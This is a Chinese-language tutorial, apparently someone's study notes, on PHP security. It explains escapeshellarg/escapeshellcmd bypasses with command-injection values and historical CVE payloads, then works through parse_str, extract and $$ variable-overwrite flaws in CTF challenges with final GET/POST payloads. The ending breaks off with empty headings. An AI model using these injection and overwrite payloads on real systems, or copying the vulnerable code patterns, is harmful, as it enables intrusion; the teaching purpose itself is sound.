1.shell过滤
escapeshellarg和escapeshellcmd的功能
escapeshellarg
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
escapeshellcmd
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
让我们用groups
去打印组里每个username成员
$username = 'myuser';
system('groups '.$username);
=>myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
但是***者可以在username里使用;
或者||
在Linux里,这意味着第二个命令可以在第一个之后被执行
$username = 'myuser;id';
system('groups '.$username);
=>myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
为了防止这一点,我们使用escapeshellcmd
现在***者不能允许第2个命令了
$username = 'myuser;id'; // escapeshellcmd adds before ;
system(escapeshellcmd('groups '.$username));
=>(nothing)
因为php内部运行了这样的命令
$ groups myuser;id groups: „myuser;id”: no such user
myuser;id
被当成了一个字符串
但是在这种方法中,***者可以指定更多参数groups
例如,他一次检测多个用户
$username = 'myuser1 myuser2';
system('groups '.$username);
=>myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
假设我们希望允许每个脚本执行仅检查一个用户:
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>(noting)
因为现在$username
被视为单个参数:$ groups 'myuser1 myuser2' groups: "myuser1 myuser2": no such user
使用 escapeshellcmd / escapeshellarg
时不可能执行第二个命令。
但是我们仍然可以将参数传递给第一个命令。
这意味着我们也可以将新选项传递给命令。
利用漏洞的能力取决于目标可执行文件。
经典EXP
PHP <= 4.3.6 on Windows – CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
同时运行dir
命令.
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051
Shell需要使用GBK,EUC-KR,SJIS等可变宽度字符集的语言环境。
$text = "sth"; system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id"; system(escapeshellcmd("echo ".$text));
或者
$text1 = 'word';
$text2 = 'word2'; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #"; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642
额外传递的第三个参数(—param3)。
$a = 'param1_value';
$b = 'param2_value'; system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\'; $b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
PHP 7.x before 7.0.2 – CVE-2016-1904
如果将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd。
PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows
启用EnableDelayedExpansion后,展开一些环境变量。
然后!STH!
运行类似于%STH%
escapeshellarg
不会过滤!
字符EnableDelayedExpansion
以在HKLM或HKCU下的注册表中设置:
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor] "DelayedExpansion"= (REG_DWORD) 1=enabled 0=disabled (default)
例如:
// Leak appdata dir value $text = '!APPDATA!'; print "echo ".escapeshellarg($text);
2.变量覆盖
通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞。经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。
0×01 parse_str函数导致的变量覆盖问题
parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
语法:parse_str(string,array)
parse_str() 用法参考:http://php.net/parse_str
CTF中parse_str()导致的变量覆盖问题的例题1:
题目源码:
1.<?php
2.error_reporting(0);
3.if (empty($_GET['id'])) {
4. show_source(__FILE__);
5. die();
6.} else {
7. include (‘flag.php’);
8. $a = “www.OPENCTF.com”;
9. $id = $_GET['id'];
10. @parse_str($id);
11. if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
12. echo $flag;
13. } else {
14. exit(‘其实很简单其实并不难!’);
15. }
16.}
17.?>
题目分析:
首先要求使用GET提交id参数,然后parse_str($id)对id参数的数据进行处理,再使用判断$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)的结果是否为真,为真就返回flag,md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391由于此次要满足$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)所以要利用php弱语言特性,0e123会被当做科学计数法,0 * 10 x 123。所以需要找到一个字符串md5后的结果是0e开头后面都是数字的,如,240610708,s878926199a
PHP处理0e开头md5哈希字符串缺陷/bug 参考:http://www.cnblogs.com/Primzahl/p/6018158.html
解题方法:
使用GET请求id=a[0]=240610708,这样会将a[0]的值覆盖为240610708,然后经过md5后得到0e462097431906509019562988736854与md5(‘QNKCDZO’)的结果0e830400451993494058024219903391比较都是0 所以相等,满足条件,得打flag。
最终PAYLOAD:
GET DATA:
?id=a[0]=s878926199a
or
?id=a[0]=240610708
0×02 extract()函数导致的变量覆盖问题
extract() 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
extract()的用法参考:http://www.runoob.com/php/func-array-extract.html
语法: extract(array,extract_rules,prefix)
CTF中extract()导致的变量覆盖问题的例题1:
题目源码:
1.<?php
2.$flag = ‘xxx’;
3.extract($_GET);
4.if (isset($gift)) {
5. $content = trim(file_get_contents($flag));
6. if ($gift == $content) {
7. echo ‘hctf{…}’;
8. } else {
9. echo ‘Oh..’;
10. }
11.}
12.?>
题目分析:
题目使用了extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件。
解题方法:
GET请求 ?flag=&gift=,extract()会将$flag和$gift的值覆盖了,将变量的值设置为空或者不存在的文件就满足$gift == $content。
最终PAYLOAD:
GET DATA: ?flag=&gift=
CTF中extract()导致的变量覆盖问题的例题2:
题目源码:
1.<?php if ($_SERVER["REQUEST_METHOD"] == “POST”) { ?>
2. <?php
3. extract($_POST);
4. if ($pass == $thepassword_123) { ?>
5. <div class=”alert alert-success”>
6. <code><?php echo $theflag; ?></code>
7. </div>
8. <?php } ?>
9. <?php } ?>
题目分析:
题目要求使用POST提交数据,extract($_POST)会将POST的数据中的键名和键值转换为相应的变量名和变量值,利用这个覆盖$pass和$thepassword_123变量的值,从而满足$pass == $thepassword_123这个条件。
解题方法:
使用POST请求提交pass=&thepassword_123=, 然后extract()会将接收到的数据将$pass和$thepassword_123变量的值覆盖为空,便满足条件了。
最终PAYLOAD:
POST DATA:pass=&thepassword_123=
0×03 $$导致的变量覆盖问题
$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。
1.<?php
2.//?name=test
3.//output:string(4) “name” string(4) “test” string(4) “test” test
4.$name=’thinking’;
5.foreach ($_GET as $key => $value)
6. $$key = $value;
7. var_dump($key);
8. var_dump($value);
9. var_dump($$key);
10.echo $name;
11.?>
CTF中$$导致的变量覆盖问题的例题1:
题目源码:
1.<?php
2.include “flag.php”;
3.$_403 = “Access Denied”;
4.$_200 = “Welcome Admin”;
5.if ($_SERVER["REQUEST_METHOD"] != “POST”)
6. die(“BugsBunnyCTF is here :p…”);
7.if ( !isset($_POST["flag"]) )
8. die($_403);
9.foreach ($_GET as $key => $value)
10. $$key = $$value;
11.foreach ($_POST as $key => $value)
12. $$key = $value;
13.if ( $_POST["flag"] !== $flag )
14. die($_403);
15.echo “This is your flag : “. $flag . “\n”;
16.die($_200);
17.?>
题目分析:
源码包含了flag.php文件,并且需要满足3个if里的条件才能获取flag,题目中使用了两个foreach并且也使用了$$.两个foreach中对 $$key的处理是不一样的,满足条件后会将$flag里面的值打印出来,所以$flag是在flag.php文件文件中的。
但是由于第7,11-14行间的代码会将$flag的值给覆盖掉了,所以需要先将$flag的值赋给$_200或$_403变量,然后利用die($_200)或 die($_403)将flag打印出来。
解题方法:
由于第7,11-14行间的代码会将$flag的值给覆盖掉,所以只能利用第一个foreach先将$flag的值赋给$_200,然后利用die($_200)将原本的flag值打印出来。
最终PAYLOAD:
关于$$变量覆盖的CTF题
三种解法:
第一种:
第二种:
第三种:php伪协议
3.框架路由